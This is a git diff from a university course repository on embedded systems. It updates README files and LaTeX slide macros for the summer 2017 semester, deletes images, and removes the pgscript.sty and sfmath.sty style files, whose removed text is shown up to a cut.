+\usepackage{listings}
+\lstset{basicstyle=\color{structure},
+        language=C,
+        captionpos=b,
+        gobble=4,
+        columns=fullflexible,
+        aboveskip=0pt,
+        belowskip=0pt,
+        moredelim=**[is][\color{structure}]{¡}{¿},
+        moredelim=**[is][\only<2->{\color{structure}}]{²}{¿},
+        moredelim=**[is][\only<3->{\color{structure}}]{³}{¿},
+        moredelim=**[is][\only<4->{\color{structure}}]{°}{¿},
+        moredelim=**[is][\only<5->{\color{structure}}]{¤}{¿},
+        moredelim=**[is][\only<6->{\color{structure}}]{¢}{¿},
+        moredelim=**[is][\only<7->{\color{structure}}]{æ}{¿},
+        moredelim=**[is][\only<8->{\color{structure}}]{ø}{¿}}
+\lstdefinestyle{terminal}{basicstyle=\ttfamily\color{darkgreen},
+                          language={},
+                          columns=fixed,
+                          moredelim=**[is][\color{red}]{¡}{¿},
+                          moredelim=**[is][\color{blendedblue}]{°}{¿},
+                          moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}}
+\lstdefinestyle{cmd}{basicstyle=\ttfamily\color{red},
+                     language={},
+                     gobble=2,
+                     columns=fixed,
+                     moredelim=**[is][\color{darkgreen}]{¡}{¿},
+                     moredelim=**[is][\color{structure}]{°}{¿},
+                     moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}}
+\lstdefinestyle{shy}{basicstyle=\color{lightgray}}
+
+\setcounter{topnumber}{3}
+\renewcommand\topfraction{0.7}
+\setcounter{bottomnumber}{3}
+\renewcommand\bottomfraction{0.7}
+\setcounter{totalnumber}{5}
+\renewcommand\textfraction{0.1}
+\renewcommand\floatpagefraction{0.9}
+
+\setlength{\unitlength}{1cm}
+
+\newcommand{\protectfile}[1]{#1}
+\urlstyle{sf}
+\newcommand{\file}[1]{{\color{structure}\protectfile{#1}}}
+\newcommand{\textarrow}{{\boldmath $\longrightarrow$}}
+\newcommand{\arrowitem}{\item[\textarrow]}
+\newcommand{\newterm}[1]{\emph{\color{darkgreen}#1}}
+\newcommand{\BIGskip}{\vspace{1cm}}
+\newcommand{\shy}{\color{lightgray}}
+\newcommand{\hot}{\color{red}}
+\newcommand{\shyhot}{\color{lightred}}
+
+\newcommand{\sectionnonumber}[1]{\section{#1}\addtocounter{section}{-1}}
+
+\def\showsectionnonumber{\hbox{\Large\color{structure}\bf
+                               \vtop{\secname}\par}\bigskip}
+
+\def\showsection{\hbox{\Large\color{structure}\bf
+                       \vtop{\hbox{\arabic{section}}}\kern1em%
+                       \vtop{\secname}\par}\bigskip}
+
+\newcommand{\subsectionnonumber}[1]{\subsection{#1}\addtocounter{subsection}{-1}}
+
+\def\showsubsectionnonumber{{\large\color{structure}\bf\subsecname\par}\bigskip}
+
+\def\showsubsection{\hbox{\large\color{structure}\bf
+                          \vtop{\hbox{\arabic{section}.\arabic{subsection}}}\kern1em%
+                          \vtop{\subsecname}\par}\bigskip}
+
+\newcommand{\subsubsectionnonumber}[1]{\subsubsection{#1}\addtocounter{subsubsection}{-1}}
+
+\def\showsubsubsectionnonumber{{\normalsize\color{structure}\bf\subsubsecname\par}\bigskip}
+
+\def\showsubsubsection{\hbox{\normalsize\color{structure}\bf
+                             \vtop{\hbox{\arabic{section}.\arabic{subsection}.\arabic{subsubsection}}}\kern1em%
+                             \vtop{\subsubsecname}\par}\bigskip}
diff --git a/20170511/photo-20170511-155349.jpg b/20170511/photo-20170511-155349.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..5e3148b448256d8bd2bfda2f4dcdd20f5c4671b5
Binary files /dev/null and b/20170511/photo-20170511-155349.jpg differ
diff --git a/20161110/rs-232.pdf b/20170511/rs-232.pdf
similarity index 100%
rename from 20161110/rs-232.pdf
rename to 20170511/rs-232.pdf
diff --git a/README b/README
index 0ab4eaeb7c214d26ef5484d8d58dadcd35ff7802..19f8065cc2d24027193ecdfadb932c5769e2cd29 100644
--- a/README
+++ b/README
@@ -1,10 +1,10 @@
 Eingebettete Systeme
 ~~~~~~~~~~~~~~~~~~~~
-Lehrveranstaltung im Wintersemester 2016/17
+Lehrveranstaltung im Sommersemester 2017
 Hochschule Bochum, Campus Velbert/Heiligenhaus
 Prof. Dr. rer. nat. Peter Gerwinski
 
-Copyright (C) 2012-2016  Peter Gerwinski
+Copyright (C) 2012-2017  Peter Gerwinski
 
   common   - gemeinsame Dateien für Skript und Vortragsfolien
   script   - Skript zur Lehrveranstaltung
@@ -18,11 +18,11 @@ weitergeben. Für Details siehe common/README.
 
 Embedded Systems
 ~~~~~~~~~~~~~~~~
-Course in winter semester 2016/17
+Course in summer semester 2017
 Bochum University of Applied Sciences, Campus Velbert/Heiligenhaus
 Prof. Dr. rer. nat. Peter Gerwinski
 
-Copyright (C) 2012-2016  Peter Gerwinski
+Copyright (C) 2012-2017  Peter Gerwinski
 
   common   - common files for lecture notes and slides
   script   - lecture notes
diff --git a/common/README b/common/README
index b6912372207e9ff192f02e0d276495c3e77fe9b8..30b044d996deb07a006d0c0aebbfb849cb3fdcbc 100644
--- a/common/README
+++ b/common/README
@@ -1,10 +1,10 @@
-Lecture Notes and Examples on Embedded Systems
-Copyright (C) 2012, 2013, 2014, 2015, 2016  Peter Gerwinski <peter@gerwinski.de>
+Lecture Notes and Examples on Software Development for Embedded Systems
+Copyright (C) 2012, 2013, 2014, 2015, 2016, 2017  Peter Gerwinski <peter@gerwinski.de>
 
 These documents are free software; you can redistribute them and/or
 modify them under the terms and conditions of the following licenses:
 
- *.tex: scripts and slides
+ *.tex, *.sty, *.pdf: scripts and slides
     - either the GNU General Public License, version 3
       or, at your option, any later version,
     - or the Creative Commons Attribution-ShareAlike 3.0
@@ -15,12 +15,6 @@ modify them under the terms and conditions of the following licenses:
     - or the Creative Commons Attribution-ShareAlike 3.0
       Unported License
 
- * sfmath.sty is subject to the LaTeX Project Public License,
-   version 1.3 or later. See that file for details.
-
- * The script uses some other free media files; see the script
-   for their individual licenses.
-
 These documents are distributed in the hope that they will be
 useful, but WITHOUT ANY WARRANTY; without even the implied warranty
 of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
diff --git a/common/Retribution_Engine_Screenshot_120807.jpg b/common/Retribution_Engine_Screenshot_120807.jpg
deleted file mode 100644
index 9cc97552d0c274af37643f9037568b43a19277cc..0000000000000000000000000000000000000000
Binary files a/common/Retribution_Engine_Screenshot_120807.jpg and /dev/null differ
diff --git a/common/Telefon_t-sinus-700.jpg b/common/Telefon_t-sinus-700.jpg
deleted file mode 100644
index bbac946c1ab3bd11c97ade38342f419332fc8f46..0000000000000000000000000000000000000000
Binary files a/common/Telefon_t-sinus-700.jpg and /dev/null differ
diff --git a/common/Zeichen_123.pdf b/common/Zeichen_123.pdf
deleted file mode 100644
index 975f570d8bd00caabd473b4ff789e1c4718cccd9..0000000000000000000000000000000000000000
Binary files a/common/Zeichen_123.pdf and /dev/null differ
diff --git a/common/a380.jpg b/common/a380.jpg
deleted file mode 100644
index 49a17597a100bda8d20189b7037061ab91eba1af..0000000000000000000000000000000000000000
Binary files a/common/a380.jpg and /dev/null differ
diff --git a/common/curiosity.jpg b/common/curiosity.jpg
deleted file mode 100644
index 8556f7db10c8eb5e003ac4a7793b2b720c4e3b62..0000000000000000000000000000000000000000
Binary files a/common/curiosity.jpg and /dev/null differ
diff --git a/common/dsc_8208.jpg b/common/dsc_8208.jpg
deleted file mode 100644
index eaa691e11fba97e15dd891c2bf3086c2be17757a..0000000000000000000000000000000000000000
Binary files a/common/dsc_8208.jpg and /dev/null differ
diff --git a/common/herzschrittmacher.jpg b/common/herzschrittmacher.jpg
deleted file mode 100644
index 14c387e0c578f216ba362c5ab0e7bd01b20a8dcb..0000000000000000000000000000000000000000
Binary files a/common/herzschrittmacher.jpg and /dev/null differ
diff --git a/common/pathfinder.jpg b/common/pathfinder.jpg
deleted file mode 100644
index 6100cca988b491fa3b05380ec9ea49346bc6df1f..0000000000000000000000000000000000000000
Binary files a/common/pathfinder.jpg and /dev/null differ
diff --git a/common/pgscript.sty b/common/pgscript.sty
deleted file mode 100644
index b39922c2cb4af7b4963386f2b6f75edf09da73ad..0000000000000000000000000000000000000000
--- a/common/pgscript.sty
+++ /dev/null
@@ -1,110 +0,0 @@
-% pgscript.sty - LaTeX Settings for Lecture Notes
-% Copyright (C) 2012, 2015  Peter Gerwinski
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document.  If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document.  If not, see <http://creativecommons.org/licenses/>.
-
-\usepackage{amsfonts}
-\usepackage[colorlinks,allcolors=blue]{hyperref}
-\usepackage[british,german]{babel}  % Yes, really "german" and not "ngerman".
-\usepackage[utf8]{luainputenc}  % Without this, umlauts are broken. Weird.
-\usepackage{microtype}
-\usepackage[T1]{fontenc}
-\usepackage{times}
-\usepackage{helvet}
-\renewcommand*\familydefault{\sfdefault}
-\usepackage{graphicx}
-\usepackage{pstricks}
-\usepackage{ifluatex}
-
-%% Repair kerning: Automatically insert "\kern{-0.15em}" between "//" % (in URLs).
-%% PG20151206: This seems unnecessary here. Maybe due to \sf?
-%\ifluatex
-%\directlua{
-%  local glyph = node.id ("glyph")
-%  local function my_kerning (head)
-%    for t in node.traverse (head) do
-%      if t.id == glyph and t.char == 47 then
-%        if t.next
-%           and t.next.next
-%           and t.next.next.id == glyph
-%           and t.next.next.char == 47 then
-%          local k = node.new ("kern")
-%          k.kern = tex.sp ("-0.15em")
-%          k.next = t.next
-%          k.prev = t
-%          t.next.prev = k
-%          t.next = k
-%        end
-%      end
-%    end
-%    node.kerning (head)
-%  end
-%  luatexbase.add_to_callback ("kerning", my_kerning, "URL kerning")
-%}
-%\fi
-
-\definecolor{blendedblue}{rgb}{0.2,0.2,0.7}
-\definecolor{darkgreen}{rgb}{0.0,0.3,0.0}
-\definecolor{darkred}{rgb}{0.7,0.0,0.0}
-\definecolor{darkgrey}{rgb}{0.4,0.4,0.4}
-
-\newcommand{\breath}{\bigskip\goodbreak}
-\newcommand{\subsubsubsection}[1]{\breath\par\textbf{#1}\nopagebreak\par}
-\newenvironment{experts}{\color{darkgrey}}{}
-\newenvironment{whiteout}{\definecolor{darkgreen}{rgb}{1.0,1.0,1.0}%
-                          \definecolor{darkred}{rgb}{1.0,1.0,1.0}%
-                          \color{white}}{}
-\urlstyle{sf}
-\newcommand{\file}[1]{{\color{blendedblue}#1}}
-\newcommand{\textarrow}{{\boldmath $\longrightarrow$}}
-\newcommand{\arrowitem}{\item[\textarrow]}
-\newcommand{\newterm}[1]{\emph{\color{darkgreen}#1}}
-
-\usepackage{listings}
-\lstset{basicstyle=\color{blendedblue},
-        language=C,
-        captionpos=b,
-        gobble=4,
-        xleftmargin=1em,
-        columns=fullflexible,
-        moredelim=**[is][\color{red}]{¡}{¿}}
-\lstdefinestyle{numbered}{xleftmargin=2em,
-                          numbers=left,
-                          numberstyle=\footnotesize\color{gray}}
-\lstdefinestyle{terminal}{basicstyle=\ttfamily\color{darkgreen},
-                          language={},
-                          columns=fixed,
-                          moredelim=**[is][\color{darkred}]{¡}{¿},
-                          moredelim=**[is][\color{blendedblue}]{°}{¿},
-                          moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}}
-\lstdefinestyle{cmd}{basicstyle=\ttfamily\color{darkred},
-                     language={},
-                     columns=fixed,
-                     moredelim=**[is][\color{darkgreen}]{¡}{¿},
-                     moredelim=**[is][\color{blendedblue}]{°}{¿},
-                     moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}}
-
-\setlength{\textwidth}{16.5cm}
-\setlength{\textheight}{26.0cm}
-\setlength{\hoffset}{-1.5cm}
-\setlength{\voffset}{-3.0cm}
-\setlength{\parindent}{0pt}
-\setlength{\parskip}{\medskipamount}
-\setlength{\unitlength}{1cm}
diff --git a/common/pgslides.sty b/common/pgslides.sty
index 62b70d4d4eaf2dd2986965bb992846fced2e2285..cde7d23dea1cf8bc70ff12fd6a2b454fc4c6ab24 100644
--- a/common/pgslides.sty
+++ b/common/pgslides.sty
@@ -207,11 +207,6 @@
 \def\showsectionnonumber{\hbox{\Large\color{structure}\bf
                                \vtop{\secname}\par}\bigskip}
 
-\newcommand{\nosectionnonumber}[1]{\gdef\nosectionnonumbername{#1}}
-
-\def\shownosectionnonumber{\hbox{\Large\color{structure}\bf
-                                 \vtop{\nosectionnonumbername}\par}\bigskip}
-
 \def\showsection{\hbox{\Large\color{structure}\bf
                        \vtop{\hbox{\arabic{section}}}\kern1em%
                        \vtop{\secname}\par}\bigskip}
diff --git a/common/philosophenproblem.jpg b/common/philosophenproblem.jpg
deleted file mode 100644
index e912745d043064ee5d4efc2c5cf58d6fdfdf138d..0000000000000000000000000000000000000000
Binary files a/common/philosophenproblem.jpg and /dev/null differ
diff --git a/common/quadrocopter.jpg b/common/quadrocopter.jpg
deleted file mode 100644
index b430e8d3ba70e518ef365bc101f7d4b8418b4d2b..0000000000000000000000000000000000000000
Binary files a/common/quadrocopter.jpg and /dev/null differ
diff --git a/common/rp6.jpg b/common/rp6.jpg
deleted file mode 100644
index 1695afb690b4fb78878236a1efd0d5c6328370f4..0000000000000000000000000000000000000000
Binary files a/common/rp6.jpg and /dev/null differ
diff --git a/common/sfmath.sty b/common/sfmath.sty
deleted file mode 100644
index 566070f49e04a4c4357691d33272da82c37337b4..0000000000000000000000000000000000000000
--- a/common/sfmath.sty
+++ /dev/null
@@ -1,469 +0,0 @@
-% sfmath.sty, copyright 2001-2007 by Olaf Dietrich (olaf@dtrx.de)
-%
-% This work may be distributed and/or modified under the
-% conditions of the LaTeX Project Public License, either version 1.3
-% of this license or (at your option) any later version.
-% The latest version of this license is in
-%   http://www.latex-project.org/lppl.txt
-% and version 1.3 or later is part of all distributions of LaTeX
-% version 2005/12/01 or later.
-%
-% This work has the LPPL maintenance status `maintained'.
-%
-% The Current Maintainer of this work is Olaf Dietrich.
-%
-% This work consists of the file sfmath.sty.
-
-
-\NeedsTeXFormat{LaTeX2e}
-\ProvidesPackage{sfmath}[2007/08/27 v0.8 sans serif maths]
-
-
-% This is a simple package for sans serif maths in documents.
-%
-% Usage: \usepackage{sfmath} or \usepackage[OPTIONS]{sfmath}
-%
-% After including the package sfmath.sty, all maths of the current
-% document is displayed with sans serif fonts; there is no way to
-% switch back to the original behavior.
-%
-% The default sans serif font for maths is the sans serif font
-% selected for sans serif text (i.e., \sfdefault) when sfmath.sty
-% is loaded. Therefore, you must include sfmath.sty after having
-% changed \sfdefault, e.g., by a package such as helvet.sty or
-% manually. Alternatively, use one of the font options described
-% below (cm, helvet, cmbright, tx, px, or lm) in order to override
-% the default sans serif font.
-%
-% Package OPTIONS (options marked with (+) are experimental):
-%
-% * slantedGreek: for slanted uppercase Greek letters
-%
-% * cm: use Computer Modern (cmss) for maths (explicitly)
-% * helvet: use Postscript Helvetica (phv) for maths (explicitly)
-% * cmbright: use CM-Bright fonts (cmbr) for maths (explicitely)
-% * tx: use Postscript txfonts (tx) for maths (explicitly)
-% * px: use Postscript pxfonts (tx) for maths (explicitly)
-% * lm: use Latin Modern (lmss) for maths (explicitly) (+)
-%
-% * T1experimental: use T1 font encoding for standard maths (+)
-% * AlphT1experimental: use T1 font encoding for \math*{...} commands (+)
-%
-% * mathrmOrig: do not change the behavior of the \mathrm command
-% * mathbfOrig: do not change the behavior of the \mathbf command
-% * mathitOrig: do not change the behavior of the \mathit command
-% * mathsfOrig: do not change the behavior of the \mathsf command
-%
-% (+): Known limitations of experimental options:
-%      T1experimental produces a warning about the encoding of the
-%                     operators font.
-%      AlphT1experimental DOES NOT WORK with uppercase Greek letters
-%                     within the \math*{...} command!
-%      These options should only be used with the ec fonts.
-%
-%      lm includes T1experimental and AlphT1experimental with the
-%      limitations mentioned above.
-%
-%      RECOMMENDATION:
-%           use the fix-cm package instead of the experimental
-%           T1 options: with fix-cm.sty, the chosen ec fonts
-%           harmonize much better with the cm sans serif math fonts.
-%           Add \RequirePackage{fix-cm} _before_ \documentclass{...}.
-%
-%
-% Some new macros are defined by sfmath.sty:
-%
-% * \mathsl{...}: A new math alphabet that is by default identical
-%   with \mathit{...}; useful in combination with the option mathitOrig.
-%
-% * \upOmega, \upDelta: upright versions of \Omega and \Delta;
-%   useful when the option slantedGreek is selected.
-%
-%
-% More documentation can currently be found at:
-% <URL:http://dtrx.de/od/tex/sfmath.html>
-
-
-% CHANGES:
-%
-% v0.8:
-%
-% * Update documentation and add license details for CTAN upload.
-%
-%
-% v0.7:
-%
-% * Add (experimental) support for latin modern (lmodern) fonts.
-%
-%
-% v0.6:
-%
-% * Add some artificial intelligence to use slanted bold letters
-%   if available (e.g., for phv, txfonts, or pxfonts).
-%   Add options to select txfonts, pxfonts, and cmbright (probably
-%   not very useful) explicitely.
-%   (Thanks to Alberto Lusiani who asked for slanted bold letters.)
-%
-%
-% v0.5:
-%
-% * Add experimental options for T1 font encoding of maths fonts.
-%   Using these options can be useful with ec fonts which look
-%   slightly different from the standard cm maths fonts (especially
-%   at large font size). About limitations see above.
-%
-%
-% v0.4:
-%
-% * Add \upDelta, \upOmega command (to be a little more compatible
-%   with other packages that provide the slantedGreek option)
-%
-%
-% v0.3:
-%
-% * Add sans serif shapes for "," and ".", "\ldotp"
-%
-% * Modified documentation
-%
-%
-% v0.2:
-%
-% * New option slantedGreek for slanted greek capitals
-%
-% * Options helvet and cm to select explicitly the sans serif font
-%   for maths. Without any of these options, the current \sfdefault
-%   is chosen.
-%
-% * Options mathxxOrig: don't change the alphabet command \mathxx;
-%   available for \mathrm, \mathbf, \mathit, and \mathsf
-%
-% * Provide dotlessi and dotlessj (if available)
-%
-
-
-% BUGS/LIMITATIONS/PROBLEMS:
-%
-% * Functionality is limited by the intention to work without
-%   additionally defined (virtual) fonts; instead, only standard
-%   fonts are used.
-%
-% * The font metrics are not adjusted to maths usage (this may
-%   result in typographically unsatisfying results).
-%
-% * In many constellations with Postscript fonts (helvet.sty,
-%   pslatex.sty, ...) the upper-case greek letters are not chosen
-%   correctly within \mathrm, \mathbf, \mathit, ... (because
-%   they should be part of OT1-encoded fonts but are not included
-%   in these standard postscript fonts).
-%
-% * Bold math symbols are not always available (e.g. with pslatex.sty)
-%   or at least not slanted (e.g. with cmss fonts), so better don't
-%   use bold maths with this package. (This has been partially improved
-%   in version 0.6.)
-%
-% * There is a visual difference between the ec sans serif text fonts
-%   and the cm sans serif maths fonts, especially at larger font sizes.
-%   The fix-cm package might help to reduce the ugliness of the ec
-%   sans serif fonts and the differences between the ec text fonts
-%   and the cm math fonts.
-%   Alternatively, the experimental options T1experimental and
-%   AlphT1Experimental might help by using the ec fonts for maths as well.
-%
-% * The txfonts and pxfonts are reported to have several deficiencies
-%   with respect to font metrics and macro implementation; using
-%   these fonts is not recommended by the package author.
-%
-% * The set symbols \mathbb{N} or \mathbbm{N} (from bbm.sty) are not
-%   changed. You might like to use \mathbbmss{N} (from bbm.sty).
-%
-% * Some symbols have serifish shapes (\sum, \prod, probably more) and
-%   are not changed.
-%
-% * Lower-case greek letters are not available in sans serif shape
-%   (they don't have real serifs, but cannot be expected to harmonize
-%   with the sans serif latin letters).
-%
-%
-% TODO:
-%
-% * Improve documentation.
-%
-% * Provide LaTeX .ins/.dtx files instead of naked .sty file.
-%
-
-
-% HERE WE GO:
-
-% Declare options and defaults and process options
-
-\DeclareOption{slantedGreek}{%
-  \renewcommand{\greek@shape}{sl}%
-  \renewcommand{\greek@bold@shape}{\greek@bold@sl}%
-}
-
-\DeclareOption{cm}{\renewcommand{\math@sfdefault}{cmss}}
-\DeclareOption{lm}{\renewcommand{\math@sfdefault}{lmss}}
-\DeclareOption{helvet}{\renewcommand{\math@sfdefault}{phv}}
-\DeclareOption{cmbright}{\renewcommand{\math@sfdefault}{cmbr}}
-\DeclareOption{tx}{\renewcommand{\math@sfdefault}{txss}}
-\DeclareOption{px}{\renewcommand{\math@sfdefault}{pxss}}
-
-\DeclareOption{T1experimental}{\renewcommand{\math@encoding}{T1}}
-\DeclareOption{AlphT1experimental}{\renewcommand{\math@lph@encoding}{T1}}
-
-\DeclareOption{mathrmOrig}{\renewcommand{\mathrm@lph}{cmr}}
-\DeclareOption{mathbfOrig}{\renewcommand{\mathbf@lph}{cmr}}
-\DeclareOption{mathitOrig}{\renewcommand{\mathit@lph}{cmr}}
-\DeclareOption{mathsfOrig}{\renewcommand{\mathsf@lph}{cmss}}
-
-
-\newcommand{\math@sfdefault}{\sfdefault}
-\newcommand{\math@encoding}{OT1}
-\newcommand{\math@lph@encoding}{OT1}
-
-\newcommand{\mathrm@lph}{\math@sfdefault}
-\newcommand{\mathbf@lph}{\math@sfdefault}
-\newcommand{\mathit@lph}{\math@sfdefault}
-\newcommand{\mathsf@lph}{\math@sfdefault}
-
-
-% \math@sfGreek: Font for capital greeks: cmss or other?
-% \greek@shape: Capital greeks: normal or slanted? [slantedGreek]
-% \greek@bold@shape: Bold capital greeks: normal or slanted? [slantedGreek]
-% \greek@bold@sl: Bold capital greeks: "sl" if slanted possible
-%
-% \mathnormal@bold@shape: Bold letters: normal or slanted? (always bold)
-% \mathit@bold@series: Bold \mathit (\mathsl): medium or bold? (always slanted)
-
-\newcommand{\math@sfGreek}{cmss}
-\newcommand{\greek@shape}{n}
-\newcommand{\greek@bold@shape}{n}
-\newcommand{\greek@bold@sl}{n}
-\newcommand{\mathnormal@bold@shape}{n}
-\newcommand{\mathit@bold@series}{m}
-
-
-
-\ProcessOptions
-
-
-
-% check the current value of \math@sfdefault
-
-\edef\tmp@sfdefault{\math@sfdefault}
-
-\def\tmp@compare{cmss}
-\ifx\tmp@sfdefault\tmp@compare
-  % \sfdefault is cmss
-  % no slanted bold letters
-  % no slanted bold capital Greeks
-  \renewcommand{\math@sfGreek}{cmss}
-  \renewcommand{\greek@bold@sl}{n}
-  \renewcommand{\mathnormal@bold@shape}{n}
-  \renewcommand{\mathit@bold@series}{m}
-\fi
-
-\def\tmp@compare{phv}
-\ifx\tmp@sfdefault\tmp@compare
-  % \sfdefault is phv (helvet.sty)
-  % slanted bold letters
-  % no capital Greeks
-  \renewcommand{\math@sfGreek}{cmss}
-  \renewcommand{\greek@bold@sl}{n}
-  \renewcommand{\mathnormal@bold@shape}{sl}
-  \renewcommand{\mathit@bold@series}{bx}
-\fi
-
-\def\tmp@compare{txss}
-\ifx\tmp@sfdefault\tmp@compare
-  % \sfdefault is txss (txfonts.sty)
-  % slanted bold letters
-  % slanted bold capital Greeks
-  \renewcommand{\math@sfGreek}{txss}
-  \renewcommand{\greek@bold@sl}{sl}
-  \renewcommand{\mathnormal@bold@shape}{sl}
-  \renewcommand{\mathit@bold@series}{bx}
-\fi
-
-\def\tmp@compare{pxss}
-\ifx\tmp@sfdefault\tmp@compare
-  % \sfdefault is pxss (pxfonts.sty)
-  % slanted bold letters
-  % slanted bold capital Greeks
-  \renewcommand{\math@sfGreek}{pxss}
-  \renewcommand{\greek@bold@sl}{sl}
-  \renewcommand{\mathnormal@bold@shape}{sl}
-  \renewcommand{\mathit@bold@series}{bx}
-\fi
-
-\def\tmp@compare{cmbr}
-\ifx\tmp@sfdefault\tmp@compare
-  % \sfdefault is cmbr (cmbright.sty)
-  % no slanted bold letters
-  % no slanted bold capital Greeks
-  \renewcommand{\math@sfGreek}{cmbr}
-  \renewcommand{\greek@bold@sl}{n}
-  \renewcommand{\mathnormal@bold@shape}{n}
-  \renewcommand{\mathit@bold@series}{m}
-\fi
-
-\def\tmp@compare{lmss}
-\ifx\tmp@sfdefault\tmp@compare
-  % \sfdefault is lmss (lmodern.sty sans serif)
-  % T1 encoding only
-  % slanted bold letters
-  % no slanted bold capital Greeks
-  \renewcommand{\math@encoding}{T1}
-  \renewcommand{\math@lph@encoding}{T1}
-  \renewcommand{\math@sfGreek}{cmss}
-  \renewcommand{\greek@bold@sl}{n}
-  \renewcommand{\mathnormal@bold@shape}{sl}
-  \renewcommand{\mathit@bold@series}{bx}
-\fi
-
-
-
-% Change font for digits and "operators" (\sin, \exp, ...)
-% to default sans serif font
-
-\SetSymbolFont{operators}{normal}{\math@encoding}{\math@sfdefault}{m}{n}
-\SetSymbolFont{operators}{bold}{\math@encoding}{\math@sfdefault}{bx}{n}
-
-
-% Most special math symbols remain unmodified (and many of those
-% don't have serifs); however all letters (A-Z, a-z) are
-% explicitely changed to the sans serif version (again
-% default sans serif font).
-%
-% Unfortunately, there is no standard slanted+bold sans serif font
-% available (as Postscript Type 1 font), so try an upright
-% version (may be better than nothing).
-
-\DeclareSymbolFont{SFMath}{\math@encoding}{\math@sfdefault}{m}{sl}
-\SetSymbolFont{SFMath}{normal}{\math@encoding}{\math@sfdefault}{m}{sl}
-\SetSymbolFont{SFMath}{bold}{\math@encoding}{\math@sfdefault}{bx}{\mathnormal@bold@shape}
-\DeclareMathSymbol{A}{\mathalpha}{SFMath}{`A}
-\DeclareMathSymbol{B}{\mathalpha}{SFMath}{`B}
-\DeclareMathSymbol{C}{\mathalpha}{SFMath}{`C}
-\DeclareMathSymbol{D}{\mathalpha}{SFMath}{`D}
-\DeclareMathSymbol{E}{\mathalpha}{SFMath}{`E}
-\DeclareMathSymbol{F}{\mathalpha}{SFMath}{`F}
-\DeclareMathSymbol{G}{\mathalpha}{SFMath}{`G}
-\DeclareMathSymbol{H}{\mathalpha}{SFMath}{`H}
-\DeclareMathSymbol{I}{\mathalpha}{SFMath}{`I}
-\DeclareMathSymbol{J}{\mathalpha}{SFMath}{`J}
-\DeclareMathSymbol{K}{\mathalpha}{SFMath}{`K}
-\DeclareMathSymbol{L}{\mathalpha}{SFMath}{`L}
-\DeclareMathSymbol{M}{\mathalpha}{SFMath}{`M}
-\DeclareMathSymbol{N}{\mathalpha}{SFMath}{`N}
-\DeclareMathSymbol{O}{\mathalpha}{SFMath}{`O}
-\DeclareMathSymbol{P}{\mathalpha}{SFMath}{`P}
-\DeclareMathSymbol{Q}{\mathalpha}{SFMath}{`Q}
-\DeclareMathSymbol{R}{\mathalpha}{SFMath}{`R}
-\DeclareMathSymbol{S}{\mathalpha}{SFMath}{`S}
-\DeclareMathSymbol{T}{\mathalpha}{SFMath}{`T}
-\DeclareMathSymbol{U}{\mathalpha}{SFMath}{`U}
-\DeclareMathSymbol{V}{\mathalpha}{SFMath}{`V}
-\DeclareMathSymbol{W}{\mathalpha}{SFMath}{`W}
-\DeclareMathSymbol{X}{\mathalpha}{SFMath}{`X}
-\DeclareMathSymbol{Y}{\mathalpha}{SFMath}{`Y}
-\DeclareMathSymbol{Z}{\mathalpha}{SFMath}{`Z}
-\DeclareMathSymbol{a}{\mathalpha}{SFMath}{`a}
-\DeclareMathSymbol{b}{\mathalpha}{SFMath}{`b}
-\DeclareMathSymbol{c}{\mathalpha}{SFMath}{`c}
-\DeclareMathSymbol{d}{\mathalpha}{SFMath}{`d}
-\DeclareMathSymbol{e}{\mathalpha}{SFMath}{`e}
-\DeclareMathSymbol{f}{\mathalpha}{SFMath}{`f}
-\DeclareMathSymbol{g}{\mathalpha}{SFMath}{`g}
-\DeclareMathSymbol{h}{\mathalpha}{SFMath}{`h}
-\DeclareMathSymbol{i}{\mathalpha}{SFMath}{`i}
-\DeclareMathSymbol{j}{\mathalpha}{SFMath}{`j}
-\DeclareMathSymbol{k}{\mathalpha}{SFMath}{`k}
-\DeclareMathSymbol{l}{\mathalpha}{SFMath}{`l}
-\DeclareMathSymbol{m}{\mathalpha}{SFMath}{`m}
-\DeclareMathSymbol{n}{\mathalpha}{SFMath}{`n}
-\DeclareMathSymbol{o}{\mathalpha}{SFMath}{`o}
-\DeclareMathSymbol{p}{\mathalpha}{SFMath}{`p}
-\DeclareMathSymbol{q}{\mathalpha}{SFMath}{`q}
-\DeclareMathSymbol{r}{\mathalpha}{SFMath}{`r}
-\DeclareMathSymbol{s}{\mathalpha}{SFMath}{`s}
-\DeclareMathSymbol{t}{\mathalpha}{SFMath}{`t}
-\DeclareMathSymbol{u}{\mathalpha}{SFMath}{`u}
-\DeclareMathSymbol{v}{\mathalpha}{SFMath}{`v}
-\DeclareMathSymbol{w}{\mathalpha}{SFMath}{`w}
-\DeclareMathSymbol{x}{\mathalpha}{SFMath}{`x}
-\DeclareMathSymbol{y}{\mathalpha}{SFMath}{`y}
-\DeclareMathSymbol{z}{\mathalpha}{SFMath}{`z}
-
-\DeclareMathSymbol{\imath}{\mathalpha}{SFMath}{"10}
-\DeclareMathSymbol{\jmath}{\mathalpha}{SFMath}{"11}
-
-
-% The symbols ",", ".", and "\ldotp" should be sans serif
-% but upright.
-
-\DeclareSymbolFont{SFMathUp}{\math@encoding}{\math@sfdefault}{m}{n}
-\SetSymbolFont{SFMathUp}{normal}{\math@encoding}{\math@sfdefault}{m}{n}
-\SetSymbolFont{SFMathUp}{bold}{\math@encoding}{\math@sfdefault}{bx}{n}
-\DeclareMathSymbol{,}{\mathpunct}{SFMathUp}{`,}
-\DeclareMathSymbol{.}{\mathord}{SFMathUp}{`.}
-\DeclareMathSymbol{\ldotp}{\mathord}{SFMathUp}{`.}
-
-
-% Take capital greek letters from cmss or [tp]xss; other sans serif fonts
-% like helvetica don't have capital greeks, so here cmss is
-% taken instead of \sfdefault. Unfortunately, this does not work
